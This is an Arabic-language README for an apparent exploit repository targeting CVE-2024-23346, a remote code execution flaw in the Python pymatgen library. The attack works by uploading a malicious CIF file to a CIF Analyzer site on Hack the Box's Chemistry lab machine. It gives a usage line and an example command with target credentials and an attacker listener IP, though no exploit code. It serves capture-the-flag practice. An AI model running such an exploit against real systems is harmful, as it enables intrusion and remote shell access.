davidaroca27/cve-2024-23346-exploitهذا استغلال لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) المعروفة في مكتبة `pymatgen` (CVE-2024-23346) عن طريق تحميل ملف `CIF` ضار إلى موقع `CIF Analyzer` المستضاف على الهدف الذي يعمل على جهاز Chemistry من Hack the Box.
هذا استغلال للثغرة المعروفة (Remote Code Execution) في مكتبة pymatgen (CVE-2024-23346) الخاصة بلغة بايثون، وذلك برفع ملف CIF ضار إلى موقع CIF Analyzer المستضاف على جهاز Chemistry من منصة Hack the Box.
رابط NVD CVE : https://nvd.nist.gov/vuln/detail/CVE-2024-23346
الاستخدام: CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
مثال:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
